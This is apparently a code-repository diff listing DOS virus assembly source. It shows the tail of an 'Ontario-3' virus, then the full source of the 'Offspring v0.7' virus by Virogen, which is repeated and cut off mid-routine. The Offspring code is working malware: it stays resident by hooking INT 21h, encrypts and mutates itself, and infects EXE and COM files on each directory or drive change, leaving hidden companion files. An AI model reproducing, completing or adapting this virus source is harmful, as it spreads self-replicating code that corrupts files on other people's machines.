go_exitint13:
jmp exitint13
callint21:
pushf
call dword ptr cs:oldint21
retn
callint13:
pushf
call dword ptr cs:oldint13
retn
oldint13 dd 0
drivehead dw 100h
sectortrack dw 2709h
YAM db '*YAM*',1Ah
db 'Your PC has a bootache! - Get some medicine!',1Ah
db 'Ontario-3 by Death Angel',1Ah,1Ah,1Ah,1Ah
save4:
origCSIP db 0CDh, 020h, 0, 0
origSSSP dd 0
endvirus:
viruslength = $ - decrypt
infCOMMAND db ?
infectSYS db ?
readbuffer db 01Ch dup (?)
encryptbuffer db viruslength dup (?)
end decrypt

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,714 @@
;-------------------------------------------------------------------------
; ************************************************
; OFFSPRING v0.7 - BY VIROGEN - 04-26-93
; ************************************************
;
; - Compatible with A86 v3.22
;
;
; DISCLAIMER : Don't hold me responsible for any damages, or the release
; of this virus. Use at your own risk.
;
; TYPE : Parastic Spawning Resident Encrypting (PSRhA)
;
;
; VERSION : BETA 0.7
;
; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function
; 0Eh (change drive) is called the virus will infect
; up to 5 files in the current directory (the one
; you're coming out of). It will first infect all
; EXE files by creating a corresponding COM. Once
; all EXE files have been infected, it then infects
; COM files. All COM files created by a spawning
; infection will have the read-only and hidden
; attribute.
;
;
; THE ENCRYPION OF THIS VIRUS :
; Ok, this virus's encryption method is a simple
; XOR. The encryption operands are changed directly.
; Also, the operands are switched around, and the
; bytes between them are constantly changed. The
; call to the encryption routine changes, so the
; address can be anywhere in a field of NOPs.
; Not anything overly amazing, but it works.
;
;
TITLE OFFSPRING_1
.286
CSEG SEGMENT
ASSUME CS: CSEG, SS: CSEG, ES: CSEG
SIGNAL EQU 7DH ; Installation check
REPLY EQU 0FCH ; reply to check
CR EQU 0DH ; carraige return
LF EQU 0AH ; line feed
F_NAME EQU 1EH ; Offset of file name in FF/FN buffer
F_SIZEL EQU 1CH ; File size - low
F_SIZEH EQU 1AH ; File size - high
F_DATE EQU 18H ; File date
F_TIME EQU 16H ; File time
MAX_INF EQU 05 ; Maximum files to infect per run
MAX_ROTATION EQU 9 ; number of bytes in switch byte table
PARASTIC EQU 01 ; Parastic infection
SPAWN EQU 00 ; Spawning infection
ORG 100H ; Leave room for PSP
;------------------------------------------------------------------
; Start of viral code
;------------------------------------------------------------------
START:
DB 0BEH ; MOV SI,xxxx - Load delta offset
SET_SI: DW 0000H
SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on
; replicated copies.
M_SW1: NOP ; changs into a byte in op_set
XCHG_1 DB 0BFH
DW OFFSET ENC_DATA+2 ; Point to byte after encryption num
; Switches positions with XCHG_2
M_SW2: NOP ; changes into a byte in op_set
XCHG_2 DB 090H
ENC_NUM DW 9090H
M_SW3: NOP
DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx
ADD_DI: DW 9000H ; 00-NOP
CALL_ENC DB 0E8 ; Call encryption routine - address changes
E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2)
NO_DEC:
JMP MAIN ; Jump to virus code
;-----------------------------------------------
; Data area
;-----------------------------------------------
ENC_DATA DW 0000 ; Start of encrypted data
ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET
VTYPE DB 00 ; Spawning or Parastic Infection?
INF_COUNT DB 0 ; How many files we have infected this run
COM_NAME DB 'COMMAND.COM' ; obvious
NEW_CODE DW 9090H ; ID bytes
NEW_JMP DB 0E9H,00,00 ; New Jump
FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf.
ADD_MEM DB 0 ; restore mem size? Yes,No
ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright
VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *'
DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$'
FNAME1 DB '*.EXE',0 ; Filespec
FNAME2 DB '*.COM',0 ; Filespec
FNAME_OFF DW FNAME1 ; Offset of Filespec to use
TIMES_INC DB 0 ; # of times encryption call incremented
SL DB '\' ; Backslash for directory name
FILE_DIR DB 64 DUP(0) ; directory of file we infected
FILE_NAME DB 13 DUP(0) ; filename of file we infected
OLD_DTA DD 0 ; old seg:off of DTA
OLD21_OFS DW 0 ; Offset of old INT 21H
OLD21_SEG DW 0 ; Seg of old INT 21h
NEW_SEG DW 0 ; New segment in high mem
PAR_BLK DW 0 ; command line count byte -psp
PAR_CMD DW 0080H ; Point to the command line -psp
PAR_SEG DW 0 ; seg
DW 05CH ; Use default FCB's in psp to save space
PAR1 DW 0 ;
DW 06CH ; FCB #2
PAR2 DW 0 ;
;--------------------------------------------------------------------
; INT 21h
;---------------------------------------------------------------------
NEW21 PROC ; New INT 21H handler
CMP AH, SIGNAL ; signaling us?
JNE NO
MOV AH,REPLY ; yep, give our offspring what he wants
JMP END_21
NO:
CMP AH, 3BH ; set dir func?
JE RUN_RES
CMP AH,0EH ; set disk func?
JE RUN_RES
JMP END_21
RUN_RES:
PUSHF
PUSH AX ; Push regs
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH SI
PUSH BP
PUSH DS
PUSH ES
PUSH SP
PUSH SS
PUSH CS
POP DS
XOR AX,AX ; nullify ES
MOV ES,AX
CMP ADD_MEM,1 ; Restore system conventional mem size?
JE REL_MEM ;
CMP AH,48H ; alloc. mem block? If so we subtract 3k from
JE SET_MEM ; total system memory.
JMP NO_MEM_FUNC
SET_MEM:
SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem
INC ADD_MEM ; make sure we know to add this back
JMP NO_MEM_FUNC
REL_MEM:
ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem
DEC ADD_MEM
NO_MEM_FUNC:
MOV AH,2FH
INT 21H ; Get the DTA
MOV AX,ES
MOV WORD PTR OLD_DTA,BX
MOV WORD PTR OLD_DTA+2,AX
PUSH CS
POP ES
CALL RESIDENT ; Call infection kernal
MOV DX,WORD PTR OLD_DTA
MOV AX,WORD PTR OLD_DTA+2
MOV DS,AX
MOV AH,1AH
INT 21H ; Restore the DTA
POP SS ; Pop regs
POP SP
POP ES
POP DS
POP BP
POP SI
POP DI
POP DX
POP CX
POP BX
POP AX
POPF
END_21 :
JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h
IRET
NEW21 ENDP ; End of handler
;------------------------------------------------------------
; Main
;-----------------------------------------------------------
MAIN PROC
MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption
MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H
MOV AX,DS: 002CH ; Get environment address
MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec
MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC
MOV [SI+OFFSET PAR2],CS
MOV [SI+OFFSET PAR_SEG],CS
MOV AH,2AH ; Get date
INT 21H
CMP DL,14 ; 14th?
JNE NO_DISPLAY
MOV AH,09 ; Display message
LEA DX,[SI+OFFSET ID]
INT 21H
NO_DISPLAY:
CALL INSTALL ; check if installed, if not install
CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC
JE SKIP_THIS
MOV BX,(OFFSET VEND+50) ; Calculate memory needed
MOV CL,4 ; divide by 16
SHR BX,CL
INC BX
MOV AH,4AH
INT 21H ; Release un-needed memory
LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE
LEA BX,[SI+OFFSET PAR_BLK]
MOV AX,4B00H
INT 21H
MOV AH,4CH ; Exit
INT 21H
SKIP_THIS:
MOV CX,5 ; Restore original first
ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file
MOV DI,0100H
CLD
REP MOVSB
MOV AX,0100H ; Simulate CALL return to 0100h
PUSH AX
RET
MAIN ENDP
;---------------
; INSTALL - Install the virus
;--------------
INSTALL PROC
MOV AH,SIGNAL
INT 21H
CMP AH,REPLY
JE NO_INSTALL
MOV AX,CS
DEC AX
MOV DS,AX
CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in
;the chain?
JNE NO_INSTALL
MOV AX,DS: [3] ;Block size in MCB
SUB AX,190 ;Shrink Block Size-quick estimate
MOV DS: [3],AX
MOV BX,AX
MOV AX,ES
ADD AX,BX
MOV ES,AX ;Find high memory seg
PUSH SI
ADD SI,0100H
MOV CX,(OFFSET VEND - OFFSET START)
MOV AX,DS
INC AX
MOV DS,AX
MOV DI,100H ; New location in high memory
CLD
REP MOVSB ; Copy virus to high memory
POP SI
MOV DS: NEW_SEG,ES ;Save new segment
PUSH ES
POP DS
XOR AX,AX
MOV ES,AX ; null es
MOV AX,ES: [21H*4+2]
MOV BX,ES: [21H*4]
MOV DS: OLD21_SEG,AX ; Store segment
MOV DS: OLD21_OFS,BX ; Store offset
CLI
MOV ES: [21H*4+2],DS ; Save seg
LEA AX,[OFFSET NEW21]
MOV ES: [21H*4],AX ; off
STI
NO_INSTALL:
PUSH CS ; Restore regs
POP DS
MOV ES,DS
RET
INSTALL ENDP
;------------------------
; Resident - This is called from the INT 21h handler
;-----------------------------
RESIDENT PROC
MOV VTYPE,SPAWN
MOV WORD PTR SET_SI,0000 ; SI=0000 on load
MOV BYTE PTR DI_INS,83H ; ADD DI,0 op
MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00
MOV BYTE PTR INF_COUNT,0 ; null infection count
MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE
FIND_FIRST:
MOV WORD PTR VEND,0 ; Clear ff/fn buffer
LEA SI, VEND
LEA DI, VEND+2
MOV CX,22
CLD
REP MOVSW
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
MOV AH, 1AH
LEA DX, VEND
INT 21H
MOV AH, 4EH ; Findfirst
MOV CX, 0 ; Set normal file attribute search
MOV DX, FNAME_OFF
INT 21H
JNC NEXT_LOOP ; if still finding files then loop
JMP END_PROG
NEXT_LOOP :
CMP VTYPE, PARASTIC ; parastic infection?
JE START_INF ; yes, skip all this
MOV AH,47H
XOR DL,DL
LEA SI,FILE_DIR
INT 21H
CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+
JE OK_FIND ; for spawning infections
JMP FIND_FILE
OK_FIND:
XOR BX,BX
LM3 : ; find end of directory name
INC BX
CMP FILE_DIR[BX],0
JNE LM3
MOV FILE_DIR[BX],'\' ; append backslash to path
INC BX
MOV CX,13 ; append filename to path
LEA SI,VEND[F_NAME]
LEA DI,FILE_DIR[BX]
CLD
REP MOVSB
XOR BX,BX
MOV BX,1EH
LOOP_ME: ; search for filename ext.
INC BX
CMP BYTE PTR VEND[BX], '.'
JNE LOOP_ME
INC BX ; change it to COM
MOV WORD PTR VEND [BX],'OC'
MOV BYTE PTR VEND [BX+2],'M'
START_INF:
CMP VTYPE, PARASTIC ; parastic infection?
JE PARASTIC_INF ; yes.. so jump
;--------------------------------------
; Spawning infection
LEA DX, VEND[F_NAME]
MOV AH, 3CH ; Create file
MOV CX, 02H ; READ-ONLY
OR CX, 01H ; Hidden
INT 21H ; Call INT 21H
JNC CONTIN ; If Error-probably already infected
JMP NO_INFECT
CONTIN:
INC INF_COUNT
MOV BX,AX
JMP ENCRYPT_OPS
;----------------------------------------
; Parastic infection
PARASTIC_INF :
CMP VEND[F_SIZEh],400H
JGE CONT_INF2
JMP NO_INFECT
CONT_INF2:
LEA SI,VEND[F_NAME] ; Is Command.COM?
LEA DI,COM_NAME
MOV CX,11
CLD
REPE CMPSB
JNE CONT_INF0 ; Yes, don't infect
JMP NO_INFECT
CONT_INF0:
MOV AX,3D02H ; Open file for reading & writing
LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer
INT 21H
JNC CONT_INF1 ; error, skip infection
JMP NO_INFECT
CONT_INF1:
MOV BX,AX
MOV AH,3FH ; Read first five bytes of file
MOV CX,05
LEA DX,FIRST_FIVE
INT 21H
CMP WORD PTR FIRST_FIVE,9090H
JNE CONT_INF
MOV AH,3EH
INT 21H
JMP NO_INFECT
CONT_INF:
INC INF_COUNT
MOV AX,4202H ; Set pointer to end of file, so we
XOR CX,CX ; can find the file size
XOR DX,DX
INT 21H
;SUB AX,0100h ; Subtract PSP size
MOV WORD PTR SET_SI,AX ; Change the MOV SI inst.
MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx
MOV BYTE PTR DI_INS,81H ; ADD DI op
MOV AX,4200H
XOR CX,CX
XOR DX,DX
INT 21H
MOV AX,VEND[F_SIZEH]
SUB AX,5
MOV WORD PTR NEW_JMP+1,AX
MOV AH,40H
MOV CX,6
LEA DX,NEW_CODE
INT 21H
MOV AX,4202H
XOR CX,CX
XOR DX,DX
INT 21H
ENCRYPT_OPS:
;-----------------------------
; Change encryptions ops
PUSH BX
MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2
MOV BX,WORD PTR XCHG_2
MOV WORD PTR XCHG_1,BX
MOV WORD PTR XCHG_2,AX
MOV AH, BYTE PTR XCHG_1+2
MOV BH, BYTE PTR XCHG_2+2
MOV BYTE PTR XCHG_1+2,BH
MOV BYTE PTR XCHG_2+2,AH
XOR_DONE:
CHG_TWO:
XOR CX,CX ; CX=0
LEA DI,SW_BYTE1 ; DI->sw_byte1
CHG_REST:
INC ROT_NUM ; increment rotation number
MOV BX,ROT_NUM ; bx=rotation num
MOV AH,OP_SET[BX] ; ah = new op code from set
MOV BYTE PTR [DI],AH
CMP ROT_NUM,MAX_ROTATION ; max rotation num?
JNE CHG_CNT ; no, chg_cnt
MOV WORD PTR ROT_NUM,0 ; reset rotation num
CHG_CNT:
INC CX ; increment count
CMP CX,1
LEA DI,M_SW1
JE CHG_REST
CMP CX,2
LEA DI,M_SW2
JE CHG_REST
CMP CX,3
LEA DI,M_SW3
JE CHG_REST
CMP CX,4
LEA DI,SW_BYTE1
JE CHG_REST
CHG_THREE:
XOR CX,CX
LEA DI,SW_BYTE3
CHG_FOUR:
CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'?
MOV BX,1 ;
JE MOV_POS ; Yes, so change it to the second
CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI'
MOV BX,2 ;
JE MOV_POS ; Yes, change it to the third
XOR BX,BX ; Else, must be in final position
MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd)
MOV BYTE PTR [DI+2],90H ; to NOP
MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos.
CMP BX,2
JNE NO_CHANGE
INC CX
CMP CX,2
LEA DI,SW_BYTE4
JNE CHG_FOUR
NO_CHANGE:
CMP BYTE PTR TIMES_INC,9
JE INC_NUM
INC WORD PTR B_WR
INC WORD PTR E_JMP
INC WORD PTR E_JMP
INC TIMES_INC
JMP D2
INC_NUM:
SUB WORD PTR B_WR,09
SUB WORD PTR E_JMP,18
MOV TIMES_INC,0
;-----------------------
; Get random XOR number, save it, copy virus, encrypt code
D2:
MOV AH,2CH ;
INT 21H ; Get random number from clock - millisecs
MOV WORD PTR XOR_OP+2,DX ; save encryption #
MOV SI,0100H
LEA DI,VEND+50 ; destination
MOV CX,OFFSET VEND-100H ; bytes to move
CLD
REP MOVSB ; copy virus outside of code
LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus
CMP BYTE PTR VTYPE, PARASTIC
JNE GO_ENC
;add di,si
GO_ENC:
CALL ENCRYPT ; encrypt new copy of virus
;----------------------------------------
; Write and close new infected file
POP BX
MOV CX, OFFSET VEND-100H ; # of bytes to write
LEA DX, VEND+50 ; Offset of buffer
MOV AH, 40H ; -- our program in memory
INT 21H ; Call INT 21H function 40h
CMP VTYPE, PARASTIC ; parastic?
JNE CLOSE ; no, don't need to restore date/time
MOV AX,5701H ; Restore data/time
MOV CX,VEND[F_TIME]
MOV DX,VEND[F_DATE]
INT 21H
CLOSE: MOV AH, 3EH
INT 21H
NO_INFECT:
; Find next file
FIND_FILE :
CMP INF_COUNT, MAX_INF
JE END_PROG
MOV AH,4FH
INT 21H
JC END_PROG
JMP NEXT_LOOP
END_PROG:
EXIT :
CMP INF_COUNT,0 ; Start parastic infection on next run
JNE FIND_DONE
CMP VTYPE, PARASTIC ; Parastic infection done?
JE FIND_DONE ; yes, we're finished
MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec
MOV VTYPE, PARASTIC ; virus type = parastic
JMP FIND_FIRST
FIND_DONE:
MOV VTYPE,SPAWN
MOV FNAME_OFF, OFFSET FNAME1
RET
RESIDENT ENDP
END_ENCRYPT: ; Let's encrypt everything up to here
OP_SET DB 90H ; NOP
DB 40H ; INC AX
DB 43H ; INC BX
DB 48H ; DEC AX
DB 4BH ; DEC BX
DB 0FBH ; STI
DB 0FCH ; CLD
DB 4AH ; DEC DX
DB 42H ; INC DX
DB 14 DUP(090H)
;------------------------------------------------
; Encrypt/Decrypt Routine
;-----------------------------------------------
ENCRYPT PROC
CX_M DB 0B9H ; MOV CX
B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2
E2:
SW_BYTE1: ; XOR [di],dx swaps positions with this
NOP
XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly
SW_BYTE3: ; INC DI changes position in these bytes
INC DI
NOP
NOP
SW_BYTE4: ; INC DI changes position in these bytes
INC DI
NOP
NOP
SW_BYTE2:
NOP ; This byte changes into a char in op_set
LOOP E2 ; loop while cx != 0
RET
ENCRYPT ENDP
VEND DW 0 ; End of virus
CSEG ENDS
END START

View File

@ -0,0 +1,714 @@
;-------------------------------------------------------------------------
; ************************************************
; OFFSPRING v0.7 - BY VIROGEN - 04-26-93
; ************************************************
;
; - Compatible with A86 v3.22
;
;
; DISCLAIMER : Don't hold me responsible for any damages, or the release
; of this virus. Use at your own risk.
;
; TYPE : Parastic Spawning Resident Encrypting (PSRhA)
;
;
; VERSION : BETA 0.7
;
; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function
; 0Eh (change drive) is called the virus will infect
; up to 5 files in the current directory (the one
; you're coming out of). It will first infect all
; EXE files by creating a corresponding COM. Once
; all EXE files have been infected, it then infects
; COM files. All COM files created by a spawning
; infection will have the read-only and hidden
; attribute.
;
;
; THE ENCRYPION OF THIS VIRUS :
; Ok, this virus's encryption method is a simple
; XOR. The encryption operands are changed directly.
; Also, the operands are switched around, and the
; bytes between them are constantly changed. The
; call to the encryption routine changes, so the
; address can be anywhere in a field of NOPs.
; Not anything overly amazing, but it works.
;
;
TITLE OFFSPRING_1
.286
CSEG SEGMENT
ASSUME CS: CSEG, SS: CSEG, ES: CSEG
SIGNAL EQU 7DH ; Installation check
REPLY EQU 0FCH ; reply to check
CR EQU 0DH ; carraige return
LF EQU 0AH ; line feed
F_NAME EQU 1EH ; Offset of file name in FF/FN buffer
F_SIZEL EQU 1CH ; File size - low
F_SIZEH EQU 1AH ; File size - high
F_DATE EQU 18H ; File date
F_TIME EQU 16H ; File time
MAX_INF EQU 05 ; Maximum files to infect per run
MAX_ROTATION EQU 9 ; number of bytes in switch byte table
PARASTIC EQU 01 ; Parastic infection
SPAWN EQU 00 ; Spawning infection
ORG 100H ; Leave room for PSP
;------------------------------------------------------------------
; Start of viral code
;------------------------------------------------------------------
START:
DB 0BEH ; MOV SI,xxxx - Load delta offset
SET_SI: DW 0000H
SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on
; replicated copies.
M_SW1: NOP ; changs into a byte in op_set
XCHG_1 DB 0BFH
DW OFFSET ENC_DATA+2 ; Point to byte after encryption num
; Switches positions with XCHG_2
M_SW2: NOP ; changes into a byte in op_set
XCHG_2 DB 090H
ENC_NUM DW 9090H
M_SW3: NOP
DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx
ADD_DI: DW 9000H ; 00-NOP
CALL_ENC DB 0E8 ; Call encryption routine - address changes
E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2)
NO_DEC:
JMP MAIN ; Jump to virus code
;-----------------------------------------------
; Data area
;-----------------------------------------------
ENC_DATA DW 0000 ; Start of encrypted data
ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET
VTYPE DB 00 ; Spawning or Parastic Infection?
INF_COUNT DB 0 ; How many files we have infected this run
COM_NAME DB 'COMMAND.COM' ; obvious
NEW_CODE DW 9090H ; ID bytes
NEW_JMP DB 0E9H,00,00 ; New Jump
FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf.
ADD_MEM DB 0 ; restore mem size? Yes,No
ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright
VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *'
DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$'
FNAME1 DB '*.EXE',0 ; Filespec
FNAME2 DB '*.COM',0 ; Filespec
FNAME_OFF DW FNAME1 ; Offset of Filespec to use
TIMES_INC DB 0 ; # of times encryption call incremented
SL DB '\' ; Backslash for directory name
FILE_DIR DB 64 DUP(0) ; directory of file we infected
FILE_NAME DB 13 DUP(0) ; filename of file we infected
OLD_DTA DD 0 ; old seg:off of DTA
OLD21_OFS DW 0 ; Offset of old INT 21H
OLD21_SEG DW 0 ; Seg of old INT 21h
NEW_SEG DW 0 ; New segment in high mem
PAR_BLK DW 0 ; command line count byte -psp
PAR_CMD DW 0080H ; Point to the command line -psp
PAR_SEG DW 0 ; seg
DW 05CH ; Use default FCB's in psp to save space
PAR1 DW 0 ;
DW 06CH ; FCB #2
PAR2 DW 0 ;
;--------------------------------------------------------------------
; INT 21h
;---------------------------------------------------------------------
NEW21 PROC ; New INT 21H handler
CMP AH, SIGNAL ; signaling us?
JNE NO
MOV AH,REPLY ; yep, give our offspring what he wants
JMP END_21
NO:
CMP AH, 3BH ; set dir func?
JE RUN_RES
CMP AH,0EH ; set disk func?
JE RUN_RES
JMP END_21
RUN_RES:
PUSHF
PUSH AX ; Push regs
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH SI
PUSH BP
PUSH DS
PUSH ES
PUSH SP
PUSH SS
PUSH CS
POP DS
XOR AX,AX ; nullify ES
MOV ES,AX
CMP ADD_MEM,1 ; Restore system conventional mem size?
JE REL_MEM ;
CMP AH,48H ; alloc. mem block? If so we subtract 3k from
JE SET_MEM ; total system memory.
JMP NO_MEM_FUNC
SET_MEM:
SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem
INC ADD_MEM ; make sure we know to add this back
JMP NO_MEM_FUNC
REL_MEM:
ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem
DEC ADD_MEM
NO_MEM_FUNC:
MOV AH,2FH
INT 21H ; Get the DTA
MOV AX,ES
MOV WORD PTR OLD_DTA,BX
MOV WORD PTR OLD_DTA+2,AX
PUSH CS
POP ES
CALL RESIDENT ; Call infection kernal
MOV DX,WORD PTR OLD_DTA
MOV AX,WORD PTR OLD_DTA+2
MOV DS,AX
MOV AH,1AH
INT 21H ; Restore the DTA
POP SS ; Pop regs
POP SP
POP ES
POP DS
POP BP
POP SI
POP DI
POP DX
POP CX
POP BX
POP AX
POPF
END_21 :
JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h
IRET
NEW21 ENDP ; End of handler
;------------------------------------------------------------
; Main
;-----------------------------------------------------------
MAIN PROC
MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption
MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H
MOV AX,DS: 002CH ; Get environment address
MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec
MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC
MOV [SI+OFFSET PAR2],CS
MOV [SI+OFFSET PAR_SEG],CS
MOV AH,2AH ; Get date
INT 21H
CMP DL,14 ; 14th?
JNE NO_DISPLAY
MOV AH,09 ; Display message
LEA DX,[SI+OFFSET ID]
INT 21H
NO_DISPLAY:
CALL INSTALL ; check if installed, if not install
CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC
JE SKIP_THIS
MOV BX,(OFFSET VEND+50) ; Calculate memory needed
MOV CL,4 ; divide by 16
SHR BX,CL
INC BX
MOV AH,4AH
INT 21H ; Release un-needed memory
LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE
LEA BX,[SI+OFFSET PAR_BLK]
MOV AX,4B00H
INT 21H
MOV AH,4CH ; Exit
INT 21H
SKIP_THIS:
MOV CX,5 ; Restore original first
ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file
MOV DI,0100H
CLD
REP MOVSB
MOV AX,0100H ; Simulate CALL return to 0100h
PUSH AX
RET
MAIN ENDP
;---------------
; INSTALL - Install the virus
;--------------
INSTALL PROC
MOV AH,SIGNAL
INT 21H
CMP AH,REPLY
JE NO_INSTALL
MOV AX,CS
DEC AX
MOV DS,AX
CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in
;the chain?
JNE NO_INSTALL
MOV AX,DS: [3] ;Block size in MCB
SUB AX,190 ;Shrink Block Size-quick estimate
MOV DS: [3],AX
MOV BX,AX
MOV AX,ES
ADD AX,BX
MOV ES,AX ;Find high memory seg
PUSH SI
ADD SI,0100H
MOV CX,(OFFSET VEND - OFFSET START)
MOV AX,DS
INC AX
MOV DS,AX
MOV DI,100H ; New location in high memory
CLD
REP MOVSB ; Copy virus to high memory
POP SI
MOV DS: NEW_SEG,ES ;Save new segment
PUSH ES
POP DS
XOR AX,AX
MOV ES,AX ; null es
MOV AX,ES: [21H*4+2]
MOV BX,ES: [21H*4]
MOV DS: OLD21_SEG,AX ; Store segment
MOV DS: OLD21_OFS,BX ; Store offset
CLI
MOV ES: [21H*4+2],DS ; Save seg
LEA AX,[OFFSET NEW21]
MOV ES: [21H*4],AX ; off
STI
NO_INSTALL:
PUSH CS ; Restore regs
POP DS
MOV ES,DS
RET
INSTALL ENDP
;------------------------
; Resident - This is called from the INT 21h handler
;-----------------------------
RESIDENT PROC
MOV VTYPE,SPAWN
MOV WORD PTR SET_SI,0000 ; SI=0000 on load
MOV BYTE PTR DI_INS,83H ; ADD DI,0 op
MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00
MOV BYTE PTR INF_COUNT,0 ; null infection count
MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE
FIND_FIRST:
MOV WORD PTR VEND,0 ; Clear ff/fn buffer
LEA SI, VEND
LEA DI, VEND+2
MOV CX,22
CLD
REP MOVSW
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
MOV AH, 1AH
LEA DX, VEND
INT 21H
MOV AH, 4EH ; Findfirst
MOV CX, 0 ; Set normal file attribute search
MOV DX, FNAME_OFF
INT 21H
JNC NEXT_LOOP ; if still finding files then loop
JMP END_PROG
NEXT_LOOP :
CMP VTYPE, PARASTIC ; parastic infection?
JE START_INF ; yes, skip all this
MOV AH,47H
XOR DL,DL
LEA SI,FILE_DIR
INT 21H
CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+
JE OK_FIND ; for spawning infections
JMP FIND_FILE
OK_FIND:
XOR BX,BX
LM3 : ; find end of directory name
INC BX
CMP FILE_DIR[BX],0
JNE LM3
MOV FILE_DIR[BX],'\' ; append backslash to path
INC BX
MOV CX,13 ; append filename to path
LEA SI,VEND[F_NAME]
LEA DI,FILE_DIR[BX]
CLD
REP MOVSB
XOR BX,BX
MOV BX,1EH
LOOP_ME: ; search for filename ext.
INC BX
CMP BYTE PTR VEND[BX], '.'
JNE LOOP_ME
INC BX ; change it to COM
MOV WORD PTR VEND [BX],'OC'
MOV BYTE PTR VEND [BX+2],'M'
START_INF:
CMP VTYPE, PARASTIC ; parastic infection?
JE PARASTIC_INF ; yes.. so jump
;--------------------------------------
; Spawning infection
LEA DX, VEND[F_NAME]
MOV AH, 3CH ; Create file
MOV CX, 02H ; READ-ONLY
OR CX, 01H ; Hidden
INT 21H ; Call INT 21H
JNC CONTIN ; If Error-probably already infected
JMP NO_INFECT
CONTIN:
INC INF_COUNT
MOV BX,AX
JMP ENCRYPT_OPS
;----------------------------------------
; Parastic infection
PARASTIC_INF :
CMP VEND[F_SIZEh],400H
JGE CONT_INF2
JMP NO_INFECT
CONT_INF2:
LEA SI,VEND[F_NAME] ; Is Command.COM?
LEA DI,COM_NAME
MOV CX,11
CLD
REPE CMPSB
JNE CONT_INF0 ; Yes, don't infect
JMP NO_INFECT
CONT_INF0:
MOV AX,3D02H ; Open file for reading & writing
LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer
INT 21H
JNC CONT_INF1 ; error, skip infection
JMP NO_INFECT
CONT_INF1:
MOV BX,AX
MOV AH,3FH ; Read first five bytes of file
MOV CX,05
LEA DX,FIRST_FIVE
INT 21H
CMP WORD PTR FIRST_FIVE,9090H
JNE CONT_INF
MOV AH,3EH
INT 21H
JMP NO_INFECT
CONT_INF:
INC INF_COUNT
MOV AX,4202H ; Set pointer to end of file, so we
XOR CX,CX ; can find the file size
XOR DX,DX
INT 21H
;SUB AX,0100h ; Subtract PSP size
MOV WORD PTR SET_SI,AX ; Change the MOV SI inst.
MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx
MOV BYTE PTR DI_INS,81H ; ADD DI op
MOV AX,4200H
XOR CX,CX
XOR DX,DX
INT 21H
MOV AX,VEND[F_SIZEH]
SUB AX,5
MOV WORD PTR NEW_JMP+1,AX
MOV AH,40H
MOV CX,6
LEA DX,NEW_CODE
INT 21H
MOV AX,4202H
XOR CX,CX
XOR DX,DX
INT 21H
ENCRYPT_OPS:
;-----------------------------
; Change encryptions ops
PUSH BX
MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2
MOV BX,WORD PTR XCHG_2
MOV WORD PTR XCHG_1,BX
MOV WORD PTR XCHG_2,AX
MOV AH, BYTE PTR XCHG_1+2
MOV BH, BYTE PTR XCHG_2+2
